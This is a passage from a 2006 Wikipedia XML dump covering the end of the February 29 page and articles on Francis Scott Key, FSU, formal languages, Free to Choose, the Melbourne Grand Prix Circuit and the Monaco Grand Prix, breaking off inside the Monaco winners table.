*1908 - [[Dee Brown]], American writer and historian (d. 2002)
*1916 - [[Dinah Shore]], American singer (d. 1994)
*1920 - [[James Mitchell (actor)|James Mitchell]], American actor
*1920 - [[Michèle Morgan]], French actress
*1920 - [[Howard Nemerov]], American poet (d. 1991)
*1924 - [[Al Rosen]], baseball player
*1932 - [[Jaguar (cartoonist)|Jaguar]], Brazilian cartoonist
*1936 - [[Jack Lousma]], astronaut
*1936 - [[Henri Richard]], Canadian hockey player
*1936 - [[Alex Rocco]], American actor
*1940 - [[Patriarch Bartholomew I]] of Constantinople
*1944 - [[Dennis Farina]], American actor
*1944 - [[Paolo Eleuteri Serpieri]], Italian illustrator
*1952 - [[Tim Powers]], American writer
*1952 - [[Bart Stupak]], American  politician
*1952 - [[Raisa Smetanina]], Russian cross-country skier
*1956 - [[Bob Speller]], Canadian politician
*1956 - [[Aileen Wuornos]], American serial killer
*1960 - [[Richard Ramirez]], American serial killer
*1960 - [[Tony Robbins]], American motivational speaker
*1964 - [[Lyndon Byers]], Canadian Hockey Player
*1968 - [[Bryce Paup]], American football player
*1972 - [[Antonio Sabato Jr.]], Italian-born actor
*1972 - [[Dave Williams]], American singer ([[Drowning Pool]]) (d. 2002)
*1972 - [[Pedro Zamora]], Cuban AIDS activist (d. 1994)
*1976 - [[Ja Rule]], American rapper and actor
*1980 - [[Simon Gagné]], Canadian hockey player
*1984 - [[Darren Ambrose]], English footballer
*1984 - [[Cam Ward]], Canadian hockey player

==Deaths==
*1528 - [[Patrick Hamilton (martyr)|Patrick Hamilton]], Scottish religious reformer (martyred) (b. 1504)
*1592 - [[Alessandro Striggio]], Italian composer
*1604 - [[John Whitgift]], [[Archbishop of Canterbury]] (b. 1530)
*1744 - [[John Theophilus Desaguliers]], French philosopher (b. 1683)
*1820 - [[Johann Joachim Eschenburg]], German literary critic (b. 1743)
*1868 - [[Ludwig I of Bavaria]] (b. 1786)
*1940 - [[Edward Frederic Benson]], American writer (b. 1867)
*1944 - [[Pehr Evind Svinhufvud]], [[President of Finland]] (b. 1861)
*1956 - [[Elpidio Quirino]], [[President of the Philippines]] (b. 1890)
*1968 - [[Tore Ørjasæter]], Norwegian poet (b. 1886)
*1980 - [[Gil Elvgren]], American artist (b. 1914)
*1992 - [[Ruth Pitter]], English poet (b. 1897)
*2000 - [[Kayla Rolland]], school shooting victim (b. 1993)
*2004 - [[Jerome Lawrence]], American playwright (b. 1915)

==Holidays and observances==
*[[Bahá'í Faith]] - Day 4 of Ayyám-i-Há (Intercalary Days) (in leap years only) - days in the Bahá'í calendar devoted to service and gift giving.
*[[Discordianism]] - St. Tib's Day.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/29 BBC: On This Day]
* [http://www.tnl.net/when/2/29 Today in History: February 29]

----

[[January 29]] - [[February 28]] - ([[February 30]]) - [[March 1]] - [[March 29]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:29 Februarie]]
[[ar:29 فبراير]]
[[an:29 de frebero]]
[[ast:29 de febreru]]
[[bg:29 февруари]]
[[bs:29. februar]]
[[ca:29 de febrer]]
[[cv:Нарăс, 29]]
[[co:29 di frivaghju]]
[[cs:29. únor]]
[[cy:29 Chwefror]]
[[da:29. februar]]
[[de:29. Februar]]
[[et:29. veebruar]]
[[el:29 Φεβρουαρίου]]
[[es:29 de febrero]]
[[eo:29-a de februaro]]
[[eu:Otsailaren 29]]
[[fo:29. februar]]
[[fr:29 février]]
[[fy:29 febrewaris]]
[[ga:29 Feabhra]]
[[gl:29 de febreiro]]
[[ko:2월 29일]]
[[hr:29. veljače]]
[[io:29 di februaro]]
[[id:29 Februari]]
[[ia:29 de februario]]
[[is:29. febrúar]]
[[it:29 febbraio]]
[[he:29 בפברואר]]
[[jv:29 Februari]]
[[ka:29 თებერვალი]]
[[csb:29 gromicznika]]
[[ku:29'ê reşemiyê]]
[[lt:Vasario 29]]
[[lb:29. Februar]]
[[hu:Február 29]]
[[mk:29 февруари]]
[[ms:29 Februari]]
[[nap:29 'e frevaro]]
[[nl:29 februari]]
[[ja:2月29日]]
[[no:29. februar]]
[[nn:29. februar]]
[[oc:29 de febrièr]]
[[os:29 февралы]]
[[pl:29 lutego]]
[[pt:29 de Fevereiro]]
[[ro:29 februarie]]
[[ru:29 февраля]]
[[se:Guovvamánu 29.]]
[[sco:29 Februar]]
[[sq:29 Shkurt]]
[[scn:29 di frivaru]]
[[simple:February 29]]
[[sk:29. február]]
[[sl:29. februar]]
[[sr:29. фебруар]]
[[fi:29. helmikuuta]]
[[sv:29 februari]]
[[tl:Pebrero 29]]
[[tt:29. Febräl]]
[[te:ఫిబ్రవరి 29]]
[[th:29 กุมภาพันธ์]]
[[vi:29 tháng 2]]
[[tr:29 Şubat]]
[[uk:29 лютого]]
[[wa:29 di fevrî]]
[[zh:2月29日]]</text>
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  </page>
  <page>
    <title>Francis Scott Key</title>
    <id>10937</id>
    <revision>
      <id>41911920</id>
      <timestamp>2006-03-02T15:49:41Z</timestamp>
      <contributor>
        <username>Kmf164</username>
        <id>94080</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.120.137.17|216.120.137.17]] ([[User talk:216.120.137.17|talk]]) to last version by Jolomo</comment>
      <text xml:space="preserve">[[Image:Key-Francis-Scott-LOC.jpg|thumb|Francis Scott Key]]

'''Francis Scott Key''' ([[August 1]], [[1779]]&amp;ndash;[[January 11]], [[1843]]) was an [[United States|American]] lawyer and amateur poet who wrote the United States national anthem, &quot;The Star-Spangled Banner&quot;.  He is buried in [[Frederick, Maryland]] and is an alumnus of [[St. John's College, U. S.|St. John's College, Annapolis]].

During the [[War of 1812]], Key, accompanied by the American Prisoner Exchange Agent Col. John Stuart Skinner, dined with VAdm. Cochrane, RAdm. Sir George Cockburn and Major General Robert Ross, aboard the HMS Tonnant where they negotiated the release of a prisoner, Dr. William Beanes (A resident of Upper Marlboro, Maryland captured by the British after he placed rowdy stragglers under citizen's arrest). After the release of Dr. Beanes, Skinner, Key and Beanes were allowed to return to their own sloop, but were not allowed to return to Baltimore because they had become familiar with the strength and position of the British units and of the British intention to attack Baltimore. As a result of this, Key witnessed the bombarding of Ft. McHenry during the [[Battle of Baltimore]] and was inspired to write a poem entitled &quot;The Defense of Ft. McHenry&quot;, later named &quot;The [[Star Spangled Banner]]&quot;. Under this name, the song was adopted as the American national anthem, first by an Executive Order from President Woodrow Wilson in 1916, and then by an Act of Congress in [[1931]].

In 1835 Key prosecuted [[Richard Lawrence]] for his unsuccessful attempt to assassinate [[President of the United States]] [[Andrew Jackson]].

Key was a distant cousin of [[F. Scott Fitzgerald]]. His direct descendants include the 1960s style icon [[Pauline de Rothschild]], geneticist [[Thomas Hunt Morgan]], and guitarist [[Dana Key]].
[[Image:ft_mchenry_cannon.750.jpg|right|thumb|300px|Fort McHenry looking towards the position of the British ships (with the [[Francis Scott Key Bridge (Baltimore)|Francis Scott Key Bridge]] in the distance on the upper left)]]

The [[Francis Scott Key Bridge (Washington)|Francis Scott Key Bridge]] between the [[Rosslyn, Virginia|Rosslyn]] section of [[Arlington County, Virginia]], and [[Georgetown, Washington, D.C.|Georgetown]] in [[Washington, D.C.]] , and the [[Francis Scott Key Bridge (Baltimore)|Francis Scott Key Bridge]], part of the [[Interstate 695 (Maryland)|Baltimore Beltway]] crossing the outer harbor of [[Baltimore, Maryland]], are named in his honor.  Baltimore's Francis Scott Key Bridge is located at the approximate point where the British anchored to shell [[Fort McHenry]].

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Star-spangled banner.ogg|title=The Star-Spangled Banner (1942)|description=[[Fred Waring]] and His Pennsylvanians sing The Star-Spangled Banner in 1942|format=[[Ogg]]}} 
{{multi-listen item|filename=MargaretWoodrowWilson-TheStarSpangledBanner.ogg|title=The Star-Spangled Banner (1915)|description=A 1915 recording of the Star-Spangled Banner as sung by Margaret Woodrow &quot;Woody&quot; Wilson, daughter of [[Woodrow Wilson]]|format=[[Ogg]]}} 
{{multi-listen end}}

==External links==
*[http://www.usflag.org/history/francisscottkey.html Short biography]
&lt;!--[[Image:francis_scott_key.jpg]]--&gt;

[[Category:1779 births|Key, Francis Scott]]
[[Category:1843 deaths|Key, Francis Scott]]
[[Category:American lawyers|Key, Francis Scott]]
[[Category:American poets|Key, Francis Scott]]
[[Category:District attorneys|Key, Francis Scott]]
[[Category:Lawyers|Key, Francis Scott]]
[[Category:People from Baltimore|Key, Francis Scott]]

[[da:Francis Scott Key]]
[[de:Francis Scott Key]]
[[he:פרנסיס סקוט קי]]
[[no:Francis Scott Key]]
[[pl:Francis Scott Key]]
[[pt:Francis Scott Key]]
[[sv:Francis Scott Key]]</text>
    </revision>
  </page>
  <page>
    <title>FSU</title>
    <id>10938</id>
    <revision>
      <id>41661537</id>
      <timestamp>2006-02-28T22:22:47Z</timestamp>
      <contributor>
        <ip>12.181.161.33</ip>
      </contributor>
      <text xml:space="preserve">'''FSU''' may refer to:

* the Former [[Soviet Union]], that is, the nations of [[Russia]], [[Estonia]], [[Latvia]], [[Lithuania]], [[Belarus]], [[Ukraine]], [[Moldova]], [[Georgia (country)|Georgia]], [[Armenia]], [[Azerbaijan]], [[Kazakhstan]], [[Kyrgyzstan]], [[Uzbekistan]], [[Turkmenistan]], and [[Tajikistan]]. These countries (except Estonia, Latvia and Lithuania) now form the [[Commonwealth of Independent States]] (CIS).
*F___ State University:
** [[Florida State University]]
** [[Fresno State University]]
** [[Fayetteville State University]]
** [[Ferris State University]]
** [[Frostburg State University]]
*[[Friedrich Schiller University of Jena]]
* [[Frei-Sozial Union]], a German party
* the [[Finance Sector Union]], a [[trade union]] in [[Australia]]
* the phrase Fuck Shit Up
* [[Figure Skating Universe]], a figure skating message board

{{TLAdisambig}}

[[de:FSU]]</text>
    </revision>
  </page>
  <page>
    <title>Formal language</title>
    <id>10939</id>
    <revision>
      <id>41708174</id>
      <timestamp>2006-03-01T05:10:25Z</timestamp>
      <contributor>
        <username>PlatypeanArchcow</username>
        <id>233390</id>
      </contributor>
      <minor />
      <comment>+ru</comment>
      <text xml:space="preserve">In [[mathematics]], [[logic]], and [[computer science]], a '''formal language''' is a [[set]] of finite-length words (i.e. [[character string]]s) drawn from some finite [[alphabet]], and the scientific theory that deals with these entities is known as ''formal language theory''. Note that we can talk about ''formal language'' in many contexts (scientific, legal, linguistic and so on), meaning a mode of expression more careful and accurate, or more mannered than everyday speech. The sense of formal language dealt with in this article is the precise sense studied in formal language theory. 

An alphabet might be &lt;math&gt;\left \{ a , b \right \}&lt;/math&gt;, and a string over that alphabet might be &lt;math&gt;ababba&lt;/math&gt;. 

A typical language over that alphabet, containing that string, would be the set of all strings which contain the same number of symbols &lt;math&gt;a&lt;/math&gt; and &lt;math&gt;b&lt;/math&gt;.

The '''empty word''' (that is, length-zero string) is allowed and is often denoted by &lt;math&gt;e&lt;/math&gt;, &lt;math&gt;\epsilon&lt;/math&gt; or &lt;math&gt;\Lambda&lt;/math&gt;. While the alphabet is a finite set and every string has finite length, a language may very well have infinitely many member strings (because the length of words in it may be unbounded).

Some examples of formal languages:

* the set of all words over &lt;math&gt;{a, b}&lt;/math&gt;
* the set &lt;math&gt;\left \{ a^{n}\right\}&lt;/math&gt;, n is a [[prime number]] and &lt;math&gt;a^{n}&lt;/math&gt; means &lt;math&gt;a&lt;/math&gt; repeated &lt;math&gt;n&lt;/math&gt; times 
* the set of syntactically correct programs in a given programming language; or
* the set of inputs upon which a certain [[Turing machine]] halts.

A formal language can be specified in a great variety of ways, such as:

* Strings produced by some [[formal grammar]] (see [[Chomsky hierarchy]]);
* Strings produced by a [[regular expression]];
* Strings accepted by some [[automaton]], such as a [[Turing machine]] or [[Finite state machine|finite state automaton]]; 
* From a set of related YES/NO questions those ones for which the answer is YES &amp;mdash; see [[decision problem]].

Several operations can be used to produce new languages from given ones. Suppose &lt;math&gt;L_{1}&lt;/math&gt; and &lt;math&gt;L_{2}&lt;/math&gt; are languages over some common alphabet.
* The ''concatenation'' &lt;math&gt;L_{1}L_{2}&lt;/math&gt; consists of all strings of the form &lt;math&gt;vw&lt;/math&gt; where &lt;math&gt;v&lt;/math&gt; is a string from &lt;math&gt;L_{1}&lt;/math&gt; and &lt;math&gt;w&lt;/math&gt; is a string from &lt;math&gt;L_{2}&lt;/math&gt;.
* The ''intersection'' &lt;math&gt;L_1 \cap L_2&lt;/math&gt; of &lt;math&gt;L_{1}&lt;/math&gt; and &lt;math&gt;L_{2}&lt;/math&gt; consists of all strings which are contained in &lt;math&gt;L_1&lt;/math&gt; and also in &lt;math&gt;L_{2}&lt;/math&gt;.
* The ''union'' &lt;math&gt;L_1 \cup L_2&lt;/math&gt; of &lt;math&gt;L_{1}&lt;/math&gt; and &lt;math&gt;L_{2}&lt;/math&gt; consists of all strings which are contained in &lt;math&gt;L_{1}&lt;/math&gt; or in &lt;math&gt;L_{2}&lt;/math&gt;.
* The ''complement'' of the language &lt;math&gt;L_{1}&lt;/math&gt; consists of all strings over the alphabet which are not contained in &lt;math&gt;L_{1}&lt;/math&gt;.
* The ''right quotient'' &lt;math&gt;L_{1}/L_{2}&lt;/math&gt; of &lt;math&gt;L_{1}&lt;/math&gt; by &lt;math&gt;L_{2}&lt;/math&gt; consists of all strings &lt;math&gt;v&lt;/math&gt; for which there exists a string &lt;math&gt;w&lt;/math&gt; in &lt;math&gt;L_{2}&lt;/math&gt; such that &lt;math&gt;vw&lt;/math&gt; is in &lt;math&gt;L_{1}&lt;/math&gt;.
* The ''[[Kleene star]]'' &lt;math&gt;L_{1}^{*}&lt;/math&gt; consists of all strings which can be written in the form &lt;math&gt;w_{1}w_{2}...w_{n}&lt;/math&gt; with strings &lt;math&gt;w_{i}&lt;/math&gt; in &lt;math&gt;L_{1}&lt;/math&gt; and &lt;math&gt;n \ge 0&lt;/math&gt;. Note that this includes the empty string &lt;math&gt;\epsilon&lt;/math&gt; because &lt;math&gt;n = 0&lt;/math&gt; is allowed.
* The ''reverse'' &lt;math&gt;L_{1}^{R}&lt;/math&gt; contains the reversed versions of all the strings in &lt;math&gt;L_{1}&lt;/math&gt;.
* The ''shuffle'' of &lt;math&gt;L_{1}&lt;/math&gt; and &lt;math&gt;L_{2}&lt;/math&gt; consists of all strings which can be written in the form &lt;math&gt;v_{1}w_{1}v_{2}w_{2}...v_{n}w_{n}&lt;/math&gt; where &lt;math&gt;n \ge 1&lt;/math&gt; and &lt;math&gt;v_{1},...,v_{n}&lt;/math&gt; are strings such that the concatenation &lt;math&gt;v_{1}...v_{n}&lt;/math&gt; is in &lt;math&gt;L_{1}&lt;/math&gt; and &lt;math&gt;w_{1},...,w_{n}&lt;/math&gt; are strings such that &lt;math&gt;w_{1}...w_{n}&lt;/math&gt; is in &lt;math&gt;L_{2}&lt;/math&gt;.

A question often asked about formal languages is &quot;how difficult is it to decide whether a given word belongs to the language?&quot;
This is the domain of [[computation|computability theory]] and [[computational complexity theory|complexity theory]].

==Further reading==
* Hopcroft, J. &amp; Ullman, J (1979).  ''Introduction to Automata Theory, Languages, and Computation.''  Addison Wesley.  ISBN 020102988X

{{Formal languages and grammars}}

[[Category:Formal languages]]

[[bg:Формален език]]
[[cs:Formální jazyk]]
[[de:Formale Sprache]]
[[es:Lenguaje formal]]
[[fr:Langage formel]]
[[ko:형식 언어]]
[[it:Linguaggio formale (matematica)]]
[[nl:Formele taal]]
[[ja:形式言語]]
[[pl:Język formalny]]
[[pt:Linguagem formal]]
[[ru:Формальный язык]]
[[sk:Formálny jazyk]]
[[fi:Formaali kieli]]
[[tr:Biçimsel dil kuramı]]
[[zh:形式语言]]</text>
    </revision>
  </page>
  <page>
    <title>Free to Choose</title>
    <id>10940</id>
    <revision>
      <id>40098081</id>
      <timestamp>2006-02-18T02:55:46Z</timestamp>
      <contributor>
        <username>Crystallina</username>
        <id>429935</id>
      </contributor>
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">'''''Free to Choose''''' is both a book (ISBN 0156334607) and a [http://www.ideachannel.com/FreeToChoose.htm ten-part television series]. ''Free to Choose: A Personal Statement'' by economists [[Milton Friedman|Milton]] and [[Rose Friedman|Rose D. Friedman]] provides examples of how the free market works, as evidence that it can solve problems that other approaches have been unsuccessful in solving. Friedman won the Nobel Memorial Prize in Economics in 1976, the same year that fellow University of Chicago Professor, Saul Bellows won the Prize for literature. Contrary to normal practice the book was written after the TV series was produced, using the program transcripts as reference. PBS telecast the series, beginning in January 1980. The book was on the best sellers list for 5 weeks. 

{{nonfiction-book-stub}}

[[Category:1980 books]]
[[Category:Political books]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign Service Level 3</title>
    <id>10941</id>
    <revision>
      <id>15908731</id>
      <timestamp>2004-05-16T05:47:25Z</timestamp>
      <contributor>
        <username>Sj</username>
        <id>40487</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[ILR scale#Foreign Service Level 3]]</text>
    </revision>
  </page>
  <page>
    <title>FORTRAN</title>
    <id>10942</id>
    <revision>
      <id>15908732</id>
      <timestamp>2004-08-25T17:07:26Z</timestamp>
      <contributor>
        <username>Stan Shebs</username>
        <id>7777</id>
      </contributor>
      <comment>#REDIRECT [[Fortran]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fortran]]</text>
    </revision>
  </page>
  <page>
    <title>Melbourne Grand Prix Circuit</title>
    <id>10945</id>
    <revision>
      <id>36470879</id>
      <timestamp>2006-01-24T06:41:03Z</timestamp>
      <contributor>
        <username>Dale Arnett</username>
        <id>25667</id>
      </contributor>
      <text xml:space="preserve">{{F1 circuit|
  Name          = Melbourne Grand Prix Circuit | 
  Location      = [[Albert Park]], [[Melbourne]], [[Australia]] |
  Image         = [[Image:GrandPrix_Circuit_Australia_2006.svg|230px]] |
  Events        = [[Formula One]]; [[V8 Supercar]]s; [[Carrera Cup]]; [[Formula Ford]] |
  Length_km     = 5.30 |
  Length_mi     = 3.30 |
  Turns         = 16 |
  Record_time   = 1'24.125 |
  Record_driver = [[Michael Schumacher]] |
  Record_team   = [[Scuderia Ferrari|Ferrari]] |
  Record_year   = [[2004]]
}}

[[Image:Melbourne_Grand_Prix_Circuit_pit_building.jpg|thumb|right|250px|Albert Park grand prix circuit pit building.]]

The '''Melbourne Grand Prix Circuit''' is a street-based circuit around [[Albert Park]] Lake, only a couple of kilometres south of central [[Melbourne]]. It is best-known for holding the opening race of each [[Formula One]] season, the [[Australian Grand Prix]].

The circuit utilises everyday sections of road that circle Albert Park Lake, a small man-made lake just south of the Central Business District of Melbourne.  The road sections that are used were rebuilt prior to the inaugural event in [[1996]] to ensure consistency and smoothness.  As a result, compared to other circuits that are held on public roads, Albert Park is quite smooth as a racing surface and picturesque as there are only a few other places on the Formula 1 calendar where there is a body of water close to a racing track.

As a racing track of interest to drivers, it is considered quite fast and relatively easy to drive, drivers having commented that the consistent placement of corners allows them to easily learn the circuit and achieve competitive times.  However, the flat terrain around the lake, coupled with the track design, means that the track is not conducive to overtaking or easy spectating unless in possession of a [[grandstand]] seat.

Each year, the much of the trackside fencing, pedestriance overpasses, grandstands and other motorsport infrastructure are erected from approximately 4 weeks prior to the grand prix weekend and removed within 2 weeks after the event.  Land around the circuit (including a large aquatic centre, a [[golf course]], a football [[stadium]], some restaurants and rowing boathouses) have restricted access during the grand prix weekend.  Dissent is still prevalent among nearby local residents and some still maintain a silent [[protest]] against the event.  Nevertheless, the event is immensely popular in Melbourne and Australia (with a large European population and a general interest in motorsport).

:''See also :'' [[Formula One]], [[Australian Grand Prix]]

== External links ==
*[http://www.grandprix.com.au/ Australian Grand Prix Corporation]
*[http://maps.google.com/maps?q=albert+park&amp;ll=-37.847070,144.970779&amp;spn=0.047132,0.081050&amp;t=k&amp;hl=en Google Maps satellite view of the circuit]
*[http://www.f1db.com/f1/page/Albert_Park_Grand_Prix_Circuit Albert Park Circuit Statistics]

[[Category:Motor racing venues in Australia]]
[[Category:Formula One circuits]]
[[Category:Australian Grand Prix]]
[[Category:Sports venues in Melbourne]]

[[cs:Melbourne]]
[[de:Albert Park Circuit]]
[[es:Circuito del Gran Premio de Melbourne]]
[[fr:Circuit international de Melbourne]]</text>
    </revision>
  </page>
  <page>
    <title>Monaco Grand Prix</title>
    <id>10946</id>
    <revision>
      <id>40998165</id>
      <timestamp>2006-02-24T10:53:48Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Tyrrell]] to [[Tyrrell Racing]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{F1 race |
  Flag               = Monaco_flag_large.png |
  Name               = [[Monaco]] Grand Prix |
  Circuit            = [[Circuit de Monaco]] |
  Circuit_image      = Monacogprix.png |
  Laps               = 78 |
  Circuit_length_km  = 3.34 |
  Circuit_length_mi  = 2.08 |
  Race_length_km     = 260.52 |
  Race_length_mi     = 161.88 |
  Current_year       = 2005 |
  Winning_time       = 1:45:15.556 |
  Winner             = [[Kimi Räikkönen]] |
  Winning_team       = [[Team McLaren|McLaren]] |
  Pole_time          = 2:30.323 (Aggregate Time)|
  Pole_driver        = [[Kimi Räikkönen]] |
  Pole_team          = [[Team McLaren|McLaren]] |
  Fastest_lap        = 1:15.842 |
  Fastest_lap_driver = [[Michael Schumacher]] |
  Fastest_lap_team   = [[Scuderia Ferrari|Ferrari]]
}}

The '''Monaco Grand Prix''' is a [[Formula One]] race held annually, and since [[1929]], in the Principality of [[Monaco]] considered to be one of the most important and prestigious races around the world alongside the [[Indianapolis 500|Indianapolis 500-Mile Race]] and [[24 Hours of Le Mans]]. 

==Beginning==
[[Image:MonacoGrandPrix.jpg|thumb|left|''[[1934 Monaco Grand Prix]] advertisement.'']]

Like many European races, the Monaco Grand Prix predates the organized World Championships; the principality's first [[Grand Prix motor racing|Grand Prix race]] was organized in [[1929]] by Antony Noghes, a well-to-do cigarette manufacturer and a resident of Monte Carlo, under the auspices of [[Louis II, Prince of Monaco|Prince Louis II]] through the establishment of the &quot;Automobile Club de Monaco&quot; of which Noghes was the founding president.

The inaugural race was won by [[William Grover-Williams]] (a.k.a. &quot;Williams&quot;) driving a [[Bugatti]] painted in what would become the famous [[British racing green]] color. The Monaco Grand Prix counted toward the [[European Championship (auto racing)|European Championship]] from [[1936]] to [[1939]] (although the race was cancelled in [[1938]]).

The Monaco Grand Prix was one of the inaugural races in the Formula One championship in 1950. However, there was no race in 1951, and in 1952 the Monaco Grand Prix took place but was not included within the Formula One championship. Since 1955, the Monaco Grand Prix has taken place each year and has been raced as part of the Formula One championship.

The Grand Prix of Monaco is organized each year by the ''Automobile Club de Monaco'' who also runs the [[Monte Carlo Rally]] and the Monaco Kart Cup.

==The Circuit==
As a street race held on the [[Circuit de Monaco]], which consists of the actual city streets of [[Monte Carlo]] and [[La Condamine]], the race has many elevation shifts, tight corners, and a narrow course that make it perhaps the most demanding and the most dangerous track still in use in Formula One racing. In many ways, the Monaco course is an anachronism unsuitable for the race category because the narrow streets make it near-impossible to overtake on the track.  However, its history and the spectacle of the event are likely to guarantee the event's future for many years to come, as it is widely considered the jewel of the maximum category.

==Winners of the Monaco Grands Prix==

=== Repeat Winners ===

{| class=&quot;wikitable&quot; style=&quot;font-size: 95%;&quot;
|-
! Number of Wins
! Driver
! Achieved
|-
! 6
| {{flagicon|Brazil}} [[Ayrton Senna]]
! 1993
|-
! 5
| {{flagicon|UK}} [[Graham Hill]]
! 1969
|-
! 5
| {{flagicon|Germany}} [[Michael Schumacher]]
! 2001
|-
! 4
| {{flagicon|France}} [[Alain Prost]]
! 1988
|-
! 3
| {{flagicon|UK}} [[Stirling Moss]]
! 1961
|-
! 3
| {{flagicon|UK}} [[Jackie Stewart]]
! 1973
|-
! 2
| {{flagicon|Argentina}} [[Juan Manuel Fangio]]
! 1957
|-
! 2
| {{flagicon|Austria}} [[Niki Lauda]]
! 1976
|-
! 2
| {{flagicon|South Africa}} [[Jody Scheckter]]
! 1979
|-
! 2
| {{flagicon|UK}} [[David Coulthard]]
! 2002
|}

=== By Year ===

''A pink background indicates an event which was not part of the Formula One World Championship.''

{| class=&quot;wikitable&quot; style=&quot;font-size: 95%;&quot;
|-
! Year
! Driver 
! Constructor
! Location
! Report
&lt;!-- (please remove the comment marks when filling in the race winner and his team)
|-
! [[2006 Formula One season|2006]]
| [[Driver's name]]
| [[Constructor's article|Constructor's short name]]
| [[Circuit de Monaco|Monaco]]
| [[2006 Monaco Grand Prix|Report]] --&gt;
|-
! [[2005 Formula One season|2005]]
| {{flagicon|Finland}} [[Kimi Räikkönen]]
| [[Team McLaren|McLaren]]-[[Mercedes-Benz|Mercedes]]
| [[Circuit de Monaco|Monaco]]
| [[2005 Monaco Grand Prix|Report]]
|-
! [[2004 Formula One season|2004]]
| {{flagicon|Italy}} [[Jarno Trulli]]
| [[Renault F1|Renault]]
| [[Circuit de Monaco|Monaco]]
| [[2004 Monaco Grand Prix|Report]]
|-
! [[2003 Formula One season|2003]]
| {{flagicon|Colombia}} [[Juan Pablo Montoya]]
| [[WilliamsF1|Williams]]-[[BMW]]
| [[Circuit de Monaco|Monaco]]
| [[2003 Monaco Grand Prix|Report]]
|-
! [[2002 Formula One season|2002]]
| {{flagicon|Scotland}} [[David Coulthard]]
| [[Team McLaren|McLaren]]-[[Mercedes-Benz|Mercedes]]
| [[Circuit de Monaco|Monaco]]
| [[2002 Monaco Grand Prix|Report]]
|-
! [[2001 Formula One season|2001]]
| {{flagicon|Germany}} [[Michael Schumacher]]
| [[Scuderia Ferrari|Ferrari]]
| [[Circuit de Monaco|Monaco]]
| [[2001 Monaco Grand Prix|Report]]
|-
! [[2000 Formula One season|2000]]
| {{flagicon|Scotland}} [[David Coulthard]]
| [[Team McLaren|McLaren]]-[[Mercedes-Benz|Mercedes]]
| [[Circuit de Monaco|Monaco]]
| [[2000 Monaco Grand Prix|Report]]
|-
! [[1999 Formula One season|1999]]
| {{flagicon|Germany}} [[Michael Schumacher]]
| [[Scuderia Ferrari|Ferrari]]
| [[Circuit de Monaco|Monaco]]
| [[1999 Monaco Grand Prix|Report]]
|-
! [[1998 Formula One season|1998]]
| {{flagicon|Finland}} [[Mika Häkkinen]]
| [[Team McLaren|McLaren]]-[[Mercedes-Benz|Mercedes]]
| [[Circuit de Monaco|Monaco]]
| [[1998 Monaco Grand Prix|Report]]
|-
! [[1997 Formula One season|1997]]
| {{flagicon|Germany}} [[Michael Schumacher]]
| [[Scuderia Ferrari|Ferrari]]
| [[Circuit de Monaco|Monaco]]
| [[1997 Monaco Grand Prix|Report]]
|-
! [[1996 Formula One season|1996]]
| {{flagicon|France}} [[Olivier Panis]]
| [[Ligier]]-[[Honda]]
| [[Circuit de Monaco|Monaco]]
| [[1996 Monaco Grand Prix|Report]]
|-
! [[1995 Formula One season|1995]]
| {{flagicon|Germany}} [[Michael Schumacher]]
| [[Benetton Formula|Benetton]]-[[Renault]]
| [[Circuit de Monaco|Monaco]]
| [[1995 Monaco Grand Prix|Report]]
|-
! [[1994 Formula One season|1994]]
| {{flagicon|Germany}} [[Michael Schumacher]]
| [[Benetton Formula|Benetton]]-[[Ford Motor Company|Ford]]
| [[Circuit de Monaco|Monaco]]
| [[1994 Monaco Grand Prix|Report]]
|-
! [[1993 Formula One season|1993]]
| {{flagicon|Brazil}} [[Ayrton Senna]]
| [[Team McLaren|McLaren]]-[[Ford Motor Company|Ford]]
| [[Circuit de Monaco|Monaco]]
| [[1993 Monaco Grand Prix|Report]]
|-
! [[1992 Formula One season|1992]]
| {{flagicon|Brazil}} [[Ayrton Senna]]
| [[Team McLaren|McLaren]]-[[Honda]]
| [[Circuit de Monaco|Monaco]]
| [[1992 Monaco Grand Prix|Report]]
|-
! [[1991 Formula One season|1991]]
| {{flagicon|Brazil}} [[Ayrton Senna]]
| [[Team McLaren|McLaren]]-[[Honda]]
| [[Circuit de Monaco|Monaco]]
| [[1991 Monaco Grand Prix|Report]]
|-
! [[1990 Formula One season|1990]]
| {{flagicon|Brazil}} [[Ayrton Senna]]
| [[Team McLaren|McLaren]]-[[Honda]]
| [[Circuit de Monaco|Monaco]]
| [[1990 Monaco Grand Prix|Report]]
|-
! [[1989 Formula One season|1989]]
| {{flagicon|Brazil}} [[Ayrton Senna]]
| [[Team McLaren|McLaren]]-[[Honda]]
| [[Circuit de Monaco|Monaco]]
| [[1989 Monaco Grand Prix|Report]]
|-
! [[1988 Formula One season|1988]]
| {{flagicon|France}} [[Alain Prost]]
| [[Team McLaren|McLaren]]-[[Honda]]
| [[Circuit de Monaco|Monaco]]
| [[1988 Monaco Grand Prix|Report]]
|-
! [[1987 Formula One season|1987]]
| {{flagicon|Brazil}} [[Ayrton Senna]]
| [[Team Lotus|Lotus]]-[[Honda]]
| [[Circuit de Monaco|Monaco]]
| [[1987 Monaco Grand Prix|Report]]
|-
! [[1986 Formula One season|1986]]
| {{flagicon|France}} [[Alain Prost]]
| [[Team McLaren|McLaren]]-[[Techniques d'Avant Garde|TAG]]
| [[Circuit de Monaco|Monaco]]
| [[1986 Monaco Grand Prix|Report]]
|-
! [[1985 Formula One season|1985]]
| {{flagicon|France}} [[Alain Prost]]
| [[Team McLaren|McLaren]]-[[Techniques d'Avant Garde|TAG]]
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| [[1985 Monaco Grand Prix|Report]]
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! [[1984 Formula One season|1984]]
| {{flagicon|France}} [[Alain Prost]]
| [[Team McLaren|McLaren]]-[[Techniques d'Avant Garde|TAG]]
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| [[1984 Monaco Grand Prix|Report]]
|-
! [[1983 Formula One season|1983]]
| {{flagicon|Finland}} [[Keke Rosberg]]
| [[WilliamsF1|Williams]]-[[Ford Motor Company|Ford]]
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! [[1982 Formula One season|1982]]
